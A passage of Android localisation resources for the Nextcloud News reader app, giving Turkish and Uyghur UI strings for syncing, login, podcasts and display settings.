uygulaması ile oturum aç</string>\n    <string name=\"pref_title_username\">Kullanıcı adı</string>\n    <string name=\"pref_title_password\">Parola</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud kök adresi</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Oturum açın</string>\n    <string name=\"login_progress_signing_in\">Oturum açılıyor…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Bu alanın doldurulması zorunludur</string>\n    <string name=\"error_invalid_url\">Adres yanlış</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d öge okunmuş olarak işaretlendi</item>\n        <item quantity=\"other\">%d öge okunmuş olarak işaretlendi</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d eski öge indirildi</item>\n        <item quantity=\"other\">%d eski öge indirildi</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Başka bir öge yok</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Şu ana kadar %d öge alındı…</item>\n        <item quantity=\"other\">Şu ana kadar %d öge alındı…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Ayarlar</string>\n    <string name=\"cache_is_cleared\">Ön bellek temizlendi!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Genel</string>\n    <string name=\"pref_title_general_sort_order\">Sıralama</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Yeni → eski</string>\n    <string name=\"pref_general_sort_order_old_new\">Eski → yeni</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Sağa kaydırma işlemi</string>\n    <string name=\"pref_rename_action_swipe_left\">Sola kaydırma işlemi</string>\n\n    <string name=\"pref_title_general_search_in\">Şurada aransın</string>\n\n    <string name=\"pref_general_search_in_title\">Başlık</string>\n    <string name=\"pref_general_search_in_body\">İçerik</string>\n    <string name=\"pref_general_search_in_both\">İkisi de</string>\n\n    <string name=\"dialog_clearing_cache\">Ön bellek temizleniyor</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Ön bellek temizleniyor. Lütfen bekleyin…</string>\n    <string name=\"reset_cache_unsaved_changes\">Eşitlenmemiş değişiklikler var. Yine de ön belleği sıfırlamak ister misiniz?</string>\n    <string name=\"warning\">Uyarı</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Başlangıçta eşitle</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Yalnızca okunmamış yazılar görüntülensin</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Sunucu adı doğrulanmasın</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Ses düğmeleri ile gezilebilsin</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Kaydırırken okundu olarak işaretlensin</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Aşağıya kaydırıldığında eşitlensin</string>\n    <string name=\"pref_title_ShowFastActions\">Hızlı erişim işlevlerini aç</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Ayrıntılı görünümü atlayıp yazıyı tarayıcıda aç</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Geri düğmesi menüyü açsın</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Bilinmeyen sertifikalar kabul edilsin mi?</string>\n    <string name=\"mtm_decision_always\">Her zaman</string>\n    <string name=\"mtm_decision_abort\">Vazgeç</string>\n    <string name=\"mtm_notification\">Sertifika doğrulama</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Herhangi bir podcast seçilmemiş</string>\n    <string name=\"no_chapters_available\">Kullanılabilecek bir bölüm yok</string>\n    <string name=\"exit_playback\">Oynatıcıdan çık</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Oynatma hızı</string>\n    <string name=\"notification_downloading_podcast_title\">Podcast indiriliyor</string>\n    <string name=\"dialog_podcast_remove_title\">Emin misiniz?</string>\n    <string name=\"dialog_podcast_remove_body\">%1$s indirilmiş ortamını silmek ister misiniz?</string>\n    <string name=\"dialog_podcast_status_failed\">%1$s ortamı silinemedi</string>\n    <string name=\"dialog_podcast_status_success\">%1$s ortamı silindi</string>\n    <string name=\"dialog_podcast_remove_confirm\">Kaldır</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Hakkında</string>\n    <string name=\"pref_license\">Lisans</string>\n    <string name=\"pref_license_summary\">GNU Affero Genel Kamu Lisansı (AGPL) 3. sürüm</string>\n    <string name=\"pref_report_issue\">Sorun bildirin</string>\n    <string name=\"pref_report_issue_summary\">Bir GitHub hesabınız olmalıdır (ücretsiz)</string>\n    <string name=\"pref_contribute\">Katkıda bulunun!</string>\n    <string name=\"pref_contribute_summary\">Kaynak kodunu alın</string>\n    <string name=\"pref_privacy\">Gizlilik</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android kişisel verilerin gizliliği ilkesi</string>\n    <string name=\"pref_news_policy\">Bize ulaşın / Haberler ilkesi</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud haberleri Android haberleri ilkesi / Bize ulaşın</string>\n    <string name=\"pref_version\">Nextcloud News Android uygulaması</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Görüntüle</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Akış listesi yerleşimi</string>\n    <string name=\"pref_title_font_size\">Yazı boyutu</string>\n    <string name=\"pref_display_browser\">Tarayıcı</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">İşlem simgeleri (ayrıntı görünümü)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Sistem varsayılanı</string>\n    <string name=\"pref_display_apptheme_light\">Açık</string>\n    <string name=\"pref_display_apptheme_dark\">Koyu</string>\n\n    <string name=\"pref_oled_mode\">Siyah arka plan</string>\n    <string name=\"pref_oled_mode_summary\">OLED ekranlarda koyu tema için</string>\n\n    <string name=\"pref_detailed_view_zoom\">Ayrıntılı görünüm yakınlaştırması</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Açıldığında, ayrıntılı görünümde içeriği yakınlaştırır</string>\n\n    <string name=\"pref_external_player\">Dış oynatıcı</string>\n    <string name=\"pref_external_player_summary\">Podcast yayınlarını varsayılan ortam uygulamanızda dinleyin</string>\n\n    <string name=\"pref_display_browser_cct\">Özel iç Chrome sekmeleri</string>\n    <string name=\"pref_display_browser_built_in\">İç tarayıcı</string>\n    <string name=\"pref_display_browser_external\">Dış tarayıcı</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Küçük görseller (yalnızca başlıklar)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Küçük görseller</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Basit yazı</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Başlıklar</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Tam yazı</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Site yerleşimi</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kart görünümü</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Küçük</string>\n    <string name=\"pref_display_font_size_d\">Varsayılan</string>\n    <string name=\"pref_display_font_size_l\">Büyük</string>\n    <string name=\"pref_display_font_size_xl\">Çok büyük</string>\n\n    <string name=\"content_desc_play\">Oynat</string>\n    <string name=\"content_desc_pause\">Duraklat</string>\n    <string name=\"content_desc_playback_speed\">Oynatma hızı</string>\n    <string name=\"content_desc_rewind\">Geri</string>\n    <string name=\"content_desc_forward\">İleri</string>\n    <string name=\"content_desc_expand\">Genişlet</string>\n    <string name=\"content_desc_collapse\">Daralt</string>\n    <string name=\"content_desc_mark_as_read\">Okunmuş olarak işaretle</string>\n    <string name=\"content_desc_mark_as_unread\">Okunmamış olarak işaretle</string>\n    <string name=\"content_desc_tap_to_refresh\">Yenilemek için dokunun</string>\n    <string name=\"content_desc_add_to_favorites\">Sık kullanılanlara ekle</string>\n    <string name=\"content_desc_remove_from_favorites\">Sık kullanılanlardan çıkar</string>\n    <string name=\"content_desc_show_password\">Parolayı görüntüle</string>\n    <string name=\"content_desc_delete\">Sil</string>\n    <string name=\"content_desc_download\">İndir</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Hata</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Haberler uygulamanız sunucu üzerinde kurulmamış ya da kullanıma alınmamış gibi görünüyor. Lütfen önce sunucu üzerine haberler uygulamasını kurmak için yönergeyi izleyin: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Bir sorun çıktı :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Site haberleri uygulamasının sürümü \\\"0\\\" olarak görünüyor. Lütfen şu hata raporuna bakın: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Bu uygulama sürümü kullandığınız Nextcloud Haberler uygulaması ile uyumlu değil. Lütfen Haberler uygulaması ve uygulama çatısını güncelleyin.</string>\n    <string name=\"login_dialog_title_security_warning\">Güvenlik uyarısı</string>\n    <string name=\"login_dialog_text_security_warning\">Kullanılması önemle önerilen HTTPS kullanmıyorsunuz. Bir saldırgan trafiğinizi izleyip önemli verilere erişebilir (parolanız gibi).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Bir sorun çıktı. Lütfen yeniden deneyin.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Veri ve eşitleme</string>\n    <string name=\"pref_title_clearCache\">Ön belleği temizle</string>\n    <string name=\"pref_title_CacheImagesOffline\">Görseller çevrim dışı ön belleğe alınsın</string>\n    <string name=\"pref_title_Max_Cache_Size\">En büyük ön bellek boyutu</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Asla</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Yalnızca kablosuz ağ üzerinden</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Kablosuz ağ ve mobil veri üzerinden</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Kablosuz ağ bağlı değilken sorulsun</string>\n\n    <string name=\"array_sync_interval_min_0\">Asla</string>\n    <string name=\"array_sync_interval_min_5\">5 dakika</string>\n    <string name=\"array_sync_interval_min_15\">15 dakika</string>\n    <string name=\"array_sync_interval_min_30\">30 dakika</string>\n    <string name=\"array_sync_interval_min_45\">45 dakika</string>\n    <string name=\"array_sync_interval_hour_1\">1 saat</string>\n    <string name=\"array_sync_interval_hour_2\">2 saat</string>\n    <string name=\"array_sync_interval_hour_3\">3 saat</string>\n    <string name=\"array_sync_interval_hour_6\">6 saat</string>\n    <string name=\"array_sync_interval_hour_12\">12 saat</string>\n    <string name=\"array_sync_interval_hour_24\">24 saat</string>\n    <string name=\"switch_account\">Hesabı değiştir</string>\n    \n    <string name=\"successfully_exported\">Şuraya dışa aktarıldı:</string>\n    <string name=\"opml_export\">OPML dışa aktar</string>\n    <string name=\"parsing_opml\">OPML işleniyor</string>\n    <string name=\"please_wait\">Lütfen bekleyin…</string>\n    <string name=\"interval_sync_title\">Eşitleme aralığı</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ug/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">ئاپتوماتىك ماسقەدەملەش</string>\n    <string name=\"title_activity_sync_interval_selector\">ماس قەدەم ئارىلىقى</string>\n    <string name=\"empty_view_content\">بۇ يەردە ھېچقانداق نەرسە يوق</string>\n    <string name=\"empty_view_content_action\">يېڭىلاپ يېڭىلاش</string>\n    <string name=\"toast_GettingMoreItems\">تېخىمۇ كۆپ تۈرلەرنى چۈشۈرۈش باشلاندى. ساقلاپ تۇرۇڭ…</string>\n    <string name=\"no_wifi_available\">WiFi ئۇلانمىدى</string>\n    <string name=\"do_you_want_to_download_without_wifi\">رەسىملەرنى Wi-Fi ئۇلانمىسىڭىز چۈشۈرمەكچىمۇ؟</string>\n    <string name=\"current_version\">سىز%s نەشرىنى ئىشلىتىۋاتىسىز</string>\n    <string name=\"widget_header\">Nextcloud خەۋەر</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d new item available</item>\n        <item quantity=\"other\">%d يېڭى تۇرلەر مەۋجۇت</item>\n    </plurals>\n    <string name=\"message_bar_reload\">قايتا يۈكلەڭ</string>\n    <string name=\"allUnreadFeeds\">ئوقۇلمىغان بارلىق تۈرلەر</string>\n    <string name=\"starredFeeds\">يۇلتۇز تۈرلىرى</string>\n    <string name=\"downloadedPodcasts\">چۈشۈرۈلگەن podcast</string>\n    <string name=\"title_activity_new_feed\">يېڭى يەم قوشۇڭ</string>\n\n    <string name=\"menu_update\">يېڭىلاش</string>\n    <string name=\"menu_markAllAsRead\">ھەممىنى ئوقۇغاندەك بەلگە قويۇڭ</string>\n    <string name=\"menu_StartImageCaching\">رەسىملەرنى چۈشۈرۈڭ</string>\n    <string name=\"menu_downloadMoreItems\">تېخىمۇ كۆپ تۈرلەرنى چۈشۈرۈڭ</string>\n\n    <string name=\"tv_showing_cached_version\">غەملەك نۇسخىسىنى كۆرسىتىش</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">چولپان</string>\n    <string name=\"action_read\">ئوقۇ</string>\n    <string name=\"action_playPodacst\">Podcast نى ئويناڭ</string>\n    <string name=\"action_removePodcast\">Podcast Media نى ئۆچۈرۈڭ</string>\n    <string name=\"action_openInBrowser\">توركۆرگۈدە ئېچىڭ</string>\n    <string name=\"action_Share\">ھەمبەھىرلەش</string>\n    <string name=\"action_login\">مۇلازىمېتىر تەڭشىكى</string>\n    <string name=\"action_save\">ساقلاش</string>\n    <string name=\"action_settings\">تەڭشەك</string>\n    <string name=\"action_sync_settings\">ماسقەدەملەش</string>\n    <string name=\"action_add_new_feed\">يېڭى يەم قوشۇڭ</string>\n    <string name=\"action_add_new_folder\">يېڭى ھۆججەت قىسقۇچ قوشۇڭ</string>\n    <string name=\"action_textToSpeech\">ئوقۇڭ</string>\n    <string name=\"action_search\">ئىزدەش</string>\n    <string name=\"action_download_articles_offline\">تورسىز ماقالىلەرنى چۈشۈرۈڭ</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">تورسىز ئىشلىتىش ئۈچۈن ماقالىلەرنى چۈشۈرۈش</string>\n    <string name=\"notification_download_images_offline\">تورسىز ئىشلىتىش ئۈچۈن رەسىملەرنى چۈشۈرۈش</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">You have %d new unread item</item>\n        <item quantity=\"other\">سىزدە %d ئۇقۇلمىغان تۈرلەر بار</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d new unread item available</item>\n        <item quantity=\"other\">يېڭى %d ئۇقۇلمىغان تۈرلەر مەۋجۇت</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL نى بېقىڭ</string>\n    <string name=\"action_add_feed\">يەم قوشۇڭ</string>\n    <string name=\"import_opml\">OPML ئەكىرىڭ</string>\n    <string name=\"export_opml\">OPML نى چىقىرىش</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">رەسىمنى چۈشۈرۈش</string>\n    <string name=\"action_img_sharelink\">رەسىم ئۇلىنىشى</string>\n    <string name=\"action_img_open\">توركۆرگۈدە رەسىمنى ئېچىڭ</string>\n    <string name=\"action_img_copylink\">رەسىم ئۇلانمىسىنى كۆچۈرۈڭ</string>\n    <string name=\"action_link_share\">ئۇلىنىشنى ھەمبەھىرلەش</string>\n    <string name=\"action_link_open\">توركۆرگۈدە ئۇلىنىش ئېچىڭ</string>\n    <string name=\"action_link_copy\">ئۇلانمىنى كۆچۈرۈڭ</string>\n    <string name=\"toast_img_download_wait\">چۈشۈرۈش. ساقلاپ تۇرۇڭ…</string>\n    <string name=\"toast_img_saved\">رەسىم ساقلاندى</string>\n    <string name=\"toast_img_notwriteable\">رەسىم يېزىش مەغلۇب بولدى.</string>\n    <string name=\"toast_copied_to_clipboard\">چاپلاش تاختىسىغا كۆچۈرۈلدى</string>\n    <string name=\"error_download_failed\">چۈشۈرۈش مەغلۇب بولدى</string>\n    <string name=\"intent_title_share\">ئورتاقلىشىش</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">يەمنى ئېلىۋېتىڭ</string>\n    <string name=\"action_feed_rename\">يەمنىڭ نامىنى ئۆزگەرتىش</string>\n    <string name=\"action_feed_move\">يەمنى يۆتكە</string>\n    <string name=\"action_feed_notification_settings\">ئۇقتۇرۇش تەڭشىكى</string>\n    <string name=\"action_feed_open_in\">ئوچۇق تەڭشەكلەر</string>\n    <string name=\"action_feed_open_in_general_setting\">ئادەتتىكى تەڭشەكنى ئىشلىتىڭ</string>\n    <string name=\"action_feed_open_in_detailed_view\">تەپسىلىي كۆرۈنۈش</string>\n    <string name=\"feed_remove_button\">ئۆچۈرۈڭ</string>\n    <string name=\"feed_rename_button\">ئىسىم ئۆزگەرتىش</string>\n    <string name=\"confirm_feed_remove\">بۇ يەمنى ئۆچۈرمەكچىمۇ؟ بۇنى ئەمەلدىن قالدۇرغىلى بولمايدۇ!</string>\n    <string name=\"feed_move_list_description\">يەمنى يۆتكەش ئۈچۈن ھۆججەت قىسقۇچنى تاللاڭ</string>\n    <string name=\"move_feed_root_folder\">يىلتىز قىسقۇچ</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">ھۆججەت قىسقۇچنى ئۆچۈرۈڭ</string>\n    <string name=\"action_folder_rename\">ھۆججەت قىسقۇچنىڭ نامىنى ئۆزگەرتىڭ</string>\n    <string name=\"folder_remove_button\">ئۆچۈرۈڭ</string>\n    <string name=\"folder_rename_button\">ئىسىم ئۆزگەرتىش</string>\n    <string name=\"confirm_folder_remove\">بۇ ھۆججەت قىسقۇچنى ئۆچۈرمەكچىمۇ؟ بۇنى ئەمەلدىن قالدۇرغىلى بولمايدۇ!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">بۇ يەم ئۈچۈن ئۆزگىچە ئۇقتۇرۇش تاپشۇرۇۋېلىڭ</string>\n    <string name=\"notification_feed_default\">سۈكۈتتىكى تەڭشەكلىرى بار بارلىق يەملەر بىر ئۇقتۇرۇشتا كۆرۈنىدۇ</string>\n    <string name=\"notification_feed_none\">ھېچقانداق ئۇقتۇرۇش يوق</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">قوش</string>\n    <string name=\"hint_folder_name\">ھۆججەت قىسقۇچنىڭ ئىسمى</string>\n    <string name=\"folder_already_exists\">ھۆججەت قىسقۇچ مەۋجۇت</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">قولدا كىرىش</string>\n    <string name=\"login_sso\">Nextcloud ھۆججەت دېتالى ئارقىلىق كىرىڭ</string>\n    <string name=\"pref_title_username\">ئىشلەتكۈچى ئىسمى</string>\n    <string name=\"pref_title_password\">پارول</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud يىلتىز ئادرېسى</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">تىزىملىتىڭ</string>\n    <string name=\"login_progress_signing_in\">تىزىملىتىڭ…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">بۇ ساھە تەلەپ قىلىنىدۇ</string>\n    <string name=\"error_invalid_url\">URL خاتا</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d تۈرگە ئۇقۇلغانلىق بەلگىسى قۇيۇلدى</item>\n        <item quantity=\"other\">%d تۈرگە ئۇقۇلغانلىق بەلگىسى قۇيۇلدى</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Downloaded %d old item</item>\n        <item quantity=\"other\">%d كونا تۈرلەر چۈشۈرۈلدى</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">باشقا تۈرلەر يوق</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Fetched %d item so far …</item>\n        <item quantity=\"other\">ھازىرغىچە %d تۈرلەرگە ئېرىشىلدى ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">تەڭشەك</string>\n    <string name=\"cache_is_cleared\">غەملەك تازىلاندى!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">ئۇمۇمىي</string>\n    <string name=\"pref_title_general_sort_order\">تەرتىپلەش</string>\n\n    <string name=\"pref_general_sort_order_new_old\">يېڭى → كونا</string>\n    <string name=\"pref_general_sort_order_old_new\">كونا → يېڭى</string>\n\n    <string name=\"pref_rename_action_swipe_right\">ئوڭغا سۈرگەندە ھەرىكەت</string>\n    <string name=\"pref_rename_action_swipe_left\">سولغا سۈرگەندە ھەرىكەت</string>\n\n    <string name=\"pref_title_general_search_in\">ئىزدەش</string>\n\n    <string name=\"pref_general_search_in_title\">ماۋزۇ</string>\n    <string name=\"pref_general_search_in_body\">بەدەن</string>\n    <string name=\"pref_general_search_in_both\">ھەر ئىككىلىسى</string>\n\n    <string name=\"dialog_clearing_cache\">ساقلىغۇچنى تازىلاش</string>\n    <string name=\"dialog_clearing_cache_please_wait\">غەملەكنى تازىلاش. ساقلاپ تۇرۇڭ…</string>\n    <string name=\"reset_cache_unsaved_changes\">ماس قەدەمسىز ئۆزگىرىشلەر بار. قانداقلا بولمىسۇن غەملەكنى ئەسلىگە كەلتۈرمەكچىمۇ؟</string>\n    <string name=\"warning\">ئاگاھلاندۇرۇش</string>\n    <string name=\"pref_title_AutoSyncOnStart\">ئىگىلىك تىكلەشتە ماسقەدەملەش</string>\n    <string name=\"pref_title_ShowOnlyUnread\">پەقەت ئوقۇلمىغان ماقالىلەرنىلا كۆرسىتىڭ</string>\n    <string name=\"pref_title_DisableHostnameVerification\">باش ئاپپارات دەلىللەشنى چەكلەڭ</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">ئاۋاز كۇنۇپكىسى بىلەن يوللاڭ</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">سىيرىلغاندا ئوقۇغاندەك بەلگە قويۇڭ</string>\n    <string name=\"pref_title_ShowFastActions\">تېز زىيارەت قىلىش ئىقتىدارىنى قوزغىتىڭ</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">توركۆرگۈدە تەپسىلىي كۆرۈنۈش ۋە ماقالىنى ئېچىڭ</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">ئارقا كۇنۇپكا تارتمىنى ئاچىدۇ</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">نامەلۇم گۇۋاھنامە قوبۇل قىلامسىز؟</string>\n    <string name=\"mtm_decision_always\">ھەمىشە</string>\n    <string name=\"mtm_decision_abort\">ئەمەلدىن قالدۇرۇش</string>\n    <string name=\"mtm_notification\">گۇۋاھنامە دەلىللەش</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Podcast تاللانمىدى</string>\n    <string name=\"no_chapters_available\">ھېچقانداق باب يوق</string>\n    <string name=\"exit_playback\">قويغۇچتىن چېكىنىش</string>\n    <string name=\"podcast_playback_speed_dialog_title\">قويۇش سۈرئىتى</string>\n    <string name=\"notification_downloading_podcast_title\">Podcast نى چۈشۈرۈش</string>\n    <string name=\"dialog_podcast_remove_title\">ئىشىنەمسىز؟</string>\n    <string name=\"dialog_podcast_remove_body\">چۈشۈرۈلگەن مېدىيانى%1$s ئۆچۈرمەكچىمۇ؟</string>\n    <string name=\"dialog_podcast_status_failed\">%1$s ئۈچۈن مېدىيانى ئۆچۈرەلمىدى</string>\n    <string name=\"dialog_podcast_status_success\">%1$s ئۈچۈن مېدىيا چىقىرىۋېتىلدى</string>\n    <string name=\"dialog_podcast_remove_confirm\">ئۆچۈرۈڭ</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">ھەققىدە</string>\n    <string name=\"pref_license\">ئىجازەتنامە</string>\n    <string name=\"pref_license_summary\">GNU Affero ئادەتتىكى ئاممىۋى ئىجازەتنامە (AGPL) 3-نەشرى</string>\n    <string name=\"pref_report_issue\">بىر مەسىلىنى دوكلات قىلىڭ</string>\n    <string name=\"pref_report_issue_summary\">(ھەقسىز) GitHub ھېساباتىنى تەلەپ قىلىدۇ</string>\n    <string name=\"pref_contribute\">تۆھپە قوشۇڭ!</string>\n    <string name=\"pref_contribute_summary\">ئەسلى كودقا ئېرىشىڭ</string>\n    <string name=\"pref_privacy\">مەخپىيەتلىك</string>\n    <string name=\"pref_privacy_summary\">Nextcloud خەۋەرلىرى ئاندىرويىد مەخپىيەتلىك تۈزۈمى</string>\n    <string name=\"pref_news_policy\">بىز بىلەن ئالاقىلىشىڭ / خەۋەر سىياسىتى</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud خەۋەرلىرى ئاندىرويىد خەۋەر سىياسىتى / بىز بىلەن ئالاقىلىشىڭ</string>\n    <string name=\"pref_version\">Nextcloud News ئاندىرويىد دېتالى</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">كۆرسىتىش</string>\n    <string name=\"pref_title_app_theme\">باشتېما</string>\n    <string name=\"pref_title_feed_list_layout\">تىزىملىك تىزىملىكى</string>\n    <string name=\"pref_title_font_size\">خەت چوڭلۇقى</string>\n    <string name=\"pref_display_browser\">توركۆرگۈ</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">ھەرىكەت سىنبەلگىسى (تەپسىلىي كۆرۈنۈش)</string>\n\n    <string name=\"pref_display_apptheme_auto\">سىستېما كۆڭۈلدىكى قىممىتى</string>\n    <string name=\"pref_display_apptheme_light\">نۇر</string>\n    <string name=\"pref_display_apptheme_dark\">قاراڭغۇ</string>\n\n    <string name=\"pref_oled_mode\">قارا تەگلىك</string>\n    <string name=\"pref_oled_mode_summary\">OLED ئېكرانىدىكى قاراڭغۇ تېما ئۈچۈن</string>\n\n    <string name=\"pref_external_player\">سىرتقى قويغۇچ</string>\n    <string name=\"pref_external_player_summary\">سۈكۈتتىكى مېدىيا دېتالىدا podcast نى ئويناڭ</string>\n\n    <string name=\"pref_display_browser_cct\">ئىچىگە Chrome-Custom-Tabs قاچىلانغان</string>\n    <string name=\"pref_display_browser_built_in\">تور كۆرگۈچ</string>\n    <string name=\"pref_display_browser_external\">سىرتقى توركۆرگۈ</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">كىچىك كۆرۈنۈشلەر (پەقەت ماۋزۇلار)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">كىچىك رەسىملەر</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">ئاددىي تېكىست</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">ماۋزۇلار</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">تولۇق تېكىست</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">تور ئورۇنلاشتۇرۇشى</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">كارتا كۆرۈنۈشى</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">كىچىك</string>\n    <string name=\"pref_display_font_size_d\">سۈكۈتتىكى</string>\n    <string name=\"pref_display_font_size_l\">چوڭ</string>\n    <string name=\"pref_display_font_size_xl\">قوشۇمچە چوڭ</string>\n\n    <string name=\"content_desc_play\">ئويناش</string>\n    <string name=\"content_desc_pause\">توختات</string>\n    <string name=\"content_desc_playback_speed\">قويۇش سۈرئىتى</string>\n    <string name=\"content_desc_rewind\">مۇكاپاتلاش</string>\n    <string name=\"content_desc_forward\">ئالدىغا</string>\n    <string name=\"content_desc_expand\">كېڭەيتىش</string>\n    <string name=\"content_desc_collapse\">يىمىرىلىش</string>\n    <string name=\"content_desc_mark_as_read\">ئوقۇغاندەك بەلگە قويۇڭ</string>\n    <string name=\"content_desc_mark_as_unread\">ئوقۇلمىغان دەپ بەلگە قويۇڭ</string>\n    <string name=\"content_desc_tap_to_refresh\">يېڭىلاش ئۈچۈن چېكىڭ</string>\n    <string name=\"content_desc_add_to_favorites\">ياقتۇرىدىغانلارغا قوشۇڭ</string>\n    <string name=\"content_desc_remove_from_favorites\">ياقتۇرىدىغانلاردىن ئۆچۈرۈڭ</string>\n    <string name=\"content_desc_show_password\">پارولنى كۆرسەت</string>\n    <string name=\"content_desc_delete\">ئۆچۈرۈش</string>\n    <string name=\"content_desc_download\">چۈشۈرۈش</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">خاتالىق</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">ئۇ سىزنىڭ خەۋەر ئەپىڭىزنىڭ مۇلازىمېتىرىڭىزغا ئورنىتىلمىغان ياكى قوزغىتىلمىغاندەك قىلىدۇ. ئالدى بىلەن مۇلازىمېتىرىڭىزدا خەۋەر ئەپىنى تەڭشەش ئۈچۈن بېرىلگەن كۆرسەتمىلەرگە ئەگىشىڭ:%1$s</string>\n    